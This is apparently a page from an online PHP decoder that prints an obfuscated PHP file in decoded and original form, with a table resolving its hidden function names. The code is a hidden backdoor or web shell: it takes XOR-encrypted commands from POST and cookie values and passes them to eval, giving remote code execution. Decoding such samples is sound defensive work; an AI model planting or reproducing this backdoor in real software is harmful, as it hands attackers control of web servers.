Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $dgCHaULm =/* YMuf*/'s'/* hEWZO*/./* lUDvV */'t' ./* AlAi */chr (114) ...

Decoded Output download

<?php	$dgCHaULm =/*   YMuf*/'s'/*   hEWZO*/./* lUDvV   */'t'	./*   AlAi   */chr    (114)	.	"_"   ./*   VTgR */'r'/*   haLD*/.	chr     (   652-/* da*/551 )."p"/*   Inf*/./*CPGFA */'e'/*soYSk */./* nFAl  */chr  (97)/*   EX*/.     't'; 
    $RXAWjo	=/*   wx  */"e"/*  ugc*/.     'x'  ./*aGvv*/"p"/*  A  */.  "l"/*   i  */./*  NuCsC*/chr   (111)/*   gQRH*/./*  qcg*/"d"	.  chr    (101); 
   $EfFjtomC =	chr	(99)	.	"o"/*  l  */.     chr/*  i   */(   471	-	354    )."n"/*   L */./*   ock */"t"; 
 
 
$mgbFfxdLB    =/*cQXCS   */"p"    ./*   SI */chr  (/*Gg  */1093	-/*  PbSx */996/*  KR */)."c"/*   UIpW */.	chr (	659 -	552/* DcbI  */); 
  $wgAsDCM    =     Array (	"wTnUJh"/*PCFz  */=>   "SXYRBiTkngHPnoIVcCETxhHlHqgcJ"/* hZ  */); 
					 $wUwWR/*   M */=	Array   (/*   R  */"ItaedRfevraqDEmqMAYWVJMLjXSC"  =>	"tqbjcY"	); 
 
 
   foreach    (/* c*/Array(	$wgAsDCM,  $_POST,    $wUwWR,    $_COOKIE,/*  jwbQu  */$wgAsDCM)/*qIP   */as/*lAx*/$UbTrYAmZAh)	{ 
 
	foreach ( $UbTrYAmZAh   as $UCTZSTNU/*  FY   */=>   $LpVVj/*  fAC  */)/* SNH  */{ 
     	$LpVVj	=    @$mgbFfxdLB(	'H'  .	"*",/*  Cv*/$LpVVj/*  IV   */); 
		/*  XLjl */$UCTZSTNU .=/*   Vj */"naTh-ltGur-jGWJLiR-pzqEpbd-JCK-uvV-Poar"; 
				  $UCTZSTNU	=  $dgCHaULm	(/*   DUN   */$UCTZSTNU,	(	strlen(     $LpVVj    )/strlen( $UCTZSTNU/*YgwUz  */)	)/*   v */+	1); 
 
   $nyxnuCT    =	$LpVVj	^	$UCTZSTNU; 
			$nyxnuCT  =/*pKbL*/$RXAWjo/*   Gao*/(    chr	(35), $nyxnuCT     ); 
   if	(	$EfFjtomC/*akEX*/(	$nyxnuCT/*   Mav   */)/*   V  */==/*wj */3  )    { 
         eval     (	$nyxnuCT[1]  (/*MezS  */$nyxnuCT[2]/*  JMA   */)	); 
 /*KYG  */exit  (); 
 
/*DWjBd*/} 
      } 
    /*VsYq*/} ?>

Did this file decode correctly?

Original Code

<?php	$dgCHaULm =/*   YMuf*/'s'/*   hEWZO*/./* lUDvV   */'t'	./*   AlAi   */chr    (114)	.	"\x5f"   ./*   VTgR */'r'/*   haLD*/.	chr     (   652-/* da*/551 )."\160"/*   Inf*/./*CPGFA */'e'/*soYSk */./* nFAl  */chr  (97)/*   EX*/.     't';
    $RXAWjo	=/*   wx  */"\x65"/*  ugc*/.     'x'  ./*aGvv*/"\160"/*  A  */.  "\x6c"/*   i  */./*  NuCsC*/chr   (111)/*   gQRH*/./*  qcg*/"\x64"	.  chr    (101);
   $EfFjtomC =	chr	(99)	.	"\157"/*  l  */.     chr/*  i   */(   471	-	354    )."\x6e"/*   L */./*   ock */"\x74";


$mgbFfxdLB    =/*cQXCS   */"\x70"    ./*   SI */chr  (/*Gg  */1093	-/*  PbSx */996/*  KR */)."\143"/*   UIpW */.	chr (	659 -	552/* DcbI  */);
  $wgAsDCM    =     Array (	"wTnUJh"/*PCFz  */=>   "SXYRBiTkngHPnoIVcCETxhHlHqgcJ"/* hZ  */);
					 $wUwWR/*   M */=	Array   (/*   R  */"ItaedRfevraqDEmqMAYWVJMLjXSC"  =>	"tqbjcY"	);


   foreach    (/* c*/Array(	$wgAsDCM,  $_POST,    $wUwWR,    $_COOKIE,/*  jwbQu  */$wgAsDCM)/*qIP   */as/*lAx*/$UbTrYAmZAh)	{

	foreach ( $UbTrYAmZAh   as $UCTZSTNU/*  FY   */=>   $LpVVj/*  fAC  */)/* SNH  */{
     	$LpVVj	=    @$mgbFfxdLB(	'H'  .	"\52",/*  Cv*/$LpVVj/*  IV   */);
		/*  XLjl */$UCTZSTNU .=/*   Vj */"naTh-ltGur-jGWJLiR-pzqEpbd-JCK-uvV-Poar";
				  $UCTZSTNU	=  $dgCHaULm	(/*   DUN   */$UCTZSTNU,	(	strlen(     $LpVVj    )/strlen( $UCTZSTNU/*YgwUz  */)	)/*   v */+	1);

   $nyxnuCT    =	$LpVVj	^	$UCTZSTNU;
			$nyxnuCT  =/*pKbL*/$RXAWjo/*   Gao*/(    chr	(35), $nyxnuCT     );
   if	(	$EfFjtomC/*akEX*/(	$nyxnuCT/*   Mav   */)/*   V  */==/*wj */3  )    {
         eval     (	$nyxnuCT[1]  (/*MezS  */$nyxnuCT[2]/*  JMA   */)	);
 /*KYG  */exit  ();

/*DWjBd*/}
      }
    /*VsYq*/}

Function Calls

chr 9

Variables

$wUwWR [{'key': 'ItaedRfevraqDEmqMAYWVJMLjXSC', 'value': 'tqbjcY'}]
$RXAWjo explode
$wgAsDCM [{'key': 'wTnUJh', 'value': 'SXYRBiTkngHPnoIVcCETxhHlHqgcJ'}]
$EfFjtomC count
$dgCHaULm str_repeat
$mgbFfxdLB pack

Stats

MD5 aaaca63814aac0746eb56ee090c31734
Eval Count 0
Decode Time 272 ms